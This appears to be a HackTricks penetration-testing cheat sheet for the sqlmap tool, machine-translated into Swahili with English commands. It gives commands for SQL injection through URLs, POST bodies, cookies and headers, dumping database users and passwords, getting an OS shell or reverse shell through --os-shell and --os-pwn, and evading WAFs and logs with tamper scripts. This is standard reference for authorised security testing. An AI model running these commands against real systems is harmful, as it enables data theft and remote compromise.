SQLMap

Reading time: 8 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Msingi wa hoja za SQLmap

Kawaida

bash
-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Technique flags (--technique)

The --technique argument defines which SQL injection methods sqlmap will attempt. Each character in the string represents a technique:

LetterTechniqueDescription
BBoolean-based blindInatumia hali za kweli/false kudhani data
EError-basedInatumia ujumbe wa makosa wa DBMS wenye maelezo mengi ili kutoa matokeo
UUNION queryInajumuisha taarifa za UNION SELECT ili kupata data kupitia njia ile ile
SStacked queriesInaongeza taarifa za ziada zilizotenganishwa na ;
TTime-based blindInategemea ucheleweshaji (SLEEP, WAITFOR) kugundua injection
QInline / out-of-bandInatumia kazi kama LOAD_FILE() au njia za OOB kama DNS

Default order is BEUSTQ. You can rearrange or limit them, e.g. only Boolean and Time-based in that order:

bash
sqlmap -u "http://target/?id=1" --technique="BT" --batch

Retrieve Information

Internal

bash
--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

DB data

bash
--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Shika ombi na uunde faili req.txt

bash
sqlmap -r req.txt --current-user

GET Request Injection

bash
sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

bash
sqlmap -u "http://example.com" --data "username=*&password=*"

Injections katika Vichwa na Mbinu Nyingine za HTTP

bash
#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Uingizaji wa agizo la pili

bash
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

bash
#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Tembelea tovuti kwa SQLmap na kuji-exploit kiotomatiki

bash
sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Kubadilisha Uingiliaji

Weka kiambishi

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Kichwa cha Kwanza

bash
python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Msaada wa kutafuta sindano ya boolean

bash
# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

bash
--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperMaelezo
apostrophemask.pyHubadilisha herufi ya apostrophe na sawa yake ya UTF-8 yenye upana kamili
apostrophenullencode.pyHubadilisha herufi ya apostrophe na sawa yake isiyo halali ya double unicode
appendnullbyte.pyHuongeza herufi ya NULL byte iliyosimbwa mwishoni mwa payload
base64encode.pyHubadilisha herufi zote katika payload iliyotolewa kuwa Base64
between.pyHubadilisha opereta ya zaidi ya ('>') na 'SIO KATI YA 0 NA #'
bluecoat.pyHubadilisha herufi ya nafasi baada ya taarifa ya SQL kuwa herufi halali ya random tupu. Kisha hubadilisha herufi = na opereta LIKE
chardoubleencode.pyHuongeza url-encode mara mbili herufi zote katika payload iliyotolewa (sio kusindika zilizokuwa tayari zimekodishwa)
commalesslimit.pyHubadilisha matukio kama 'LIMIT M, N' na 'LIMIT N OFFSET M'
commalessmid.pyHubadilisha matukio kama 'MID(A, B, C)' na 'MID(A KUTOKA B KWA C)'
concat2concatws.pyHubadilisha matukio kama 'CONCAT(A, B)' na 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.pyHuongeza url-encode herufi zote katika payload iliyotolewa (sio kusindika zilizokuwa tayari zimekodishwa)
charunicodeencode.pyHuongeza unicode-url-encode herufi zisizokuwa na msimbo katika payload iliyotolewa (sio kusindika zilizokuwa tayari zimekodishwa). "%u0022"
charunicodeescape.pyHuongeza unicode-url-encode herufi zisizokuwa na msimbo katika payload iliyotolewa (sio kusindika zilizokuwa tayari zimekodishwa). "\u0022"
equaltolike.pyHubadilisha matukio yote ya opereta sawa ('=') na opereta 'LIKE'
escapequotes.pyHuondoa herufi za nukuu (' na ")
greatest.pyHubadilisha opereta ya zaidi ya ('>') na sawa yake ya 'GREATEST'
halfversionedmorekeywords.pyHuongeza maoni ya MySQL yenye toleo kabla ya kila neno muhimu
ifnull2ifisnull.pyHubadilisha matukio kama 'IFNULL(A, B)' na 'IF(ISNULL(A), B, A)'
modsecurityversioned.pyHuweka swali lote ndani ya maoni yenye toleo
modsecurityzeroversioned.pyHuweka swali lote ndani ya maoni yenye toleo sifuri
multiplespaces.pyHuongeza nafasi nyingi kuzunguka maneno muhimu ya SQL
nonrecursivereplacement.pyHubadilisha maneno muhimu ya SQL yaliyowekwa awali na uwakilishi yanayofaa kwa kubadilishwa (e.g. .replace("SELECT", "")) filters
percentage.pyHuongeza alama ya asilimia ('%') mbele ya kila herufi
overlongutf8.pyHubadilisha herufi zote katika payload iliyotolewa (sio kusindika zilizokuwa tayari zimekodishwa)
randomcase.pyHubadilisha kila herufi ya neno muhimu na thamani ya kesi ya nasibu
randomcomments.pyHuongeza maoni ya nasibu kwa maneno muhimu ya SQL
securesphere.pyHuongeza mfuatano maalum wa kusanifu
sp_password.pyHuongeza 'sp_password' mwishoni mwa payload kwa ajili ya kuficha kiotomatiki kutoka kwa kumbukumbu za DBMS
space2comment.pyHubadilisha herufi ya nafasi (' ') na maoni
space2dash.pyHubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n')
space2hash.pyHubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n')
space2morehash.pyHubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mfuatano wa nasibu na mstari mpya ('\n')
space2mssqlblank.pyHubadilisha herufi ya nafasi (' ') na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala
space2mssqlhash.pyHubadilisha herufi ya nafasi (' ') na herufi ya pound ('#') ikifuatiwa na mstari mpya ('\n')
space2mysqlblank.pyHubadilisha herufi ya nafasi (' ') na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala
space2mysqldash.pyHubadilisha herufi ya nafasi (' ') na maoni ya dash ('--') ikifuatiwa na mstari mpya ('\n')
space2plus.pyHubadilisha herufi ya nafasi (' ') na plus ('+')
space2randomblank.pyHubadilisha herufi ya nafasi (' ') na herufi tupu ya nasibu kutoka seti halali ya herufi mbadala
symboliclogical.pyHubadilisha opereta za AND na OR na sawa zao za alama (&& na
unionalltounion.pyHubadilisha UNION ALL SELECT na UNION SELECT
unmagicquotes.pyHubadilisha herufi ya nukuu (') na mchanganyiko wa multi-byte %bf%27 pamoja na maoni ya jumla mwishoni (ili kufanya ifanye kazi)
uppercase.pyHubadilisha kila herufi ya neno muhimu na thamani ya herufi kubwa 'INSERT'
varnish.pyHuongeza kichwa cha HTTP 'X-originating-IP'
versionedkeywords.pyHuweka kila neno muhimu lisilo la kazi ndani ya maoni ya MySQL yenye toleo
versionedmorekeywords.pyHuweka kila neno muhimu ndani ya maoni ya MySQL yenye toleo
xforwardedfor.pyHuongeza kichwa cha HTTP bandia 'X-Forwarded-For'

References

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks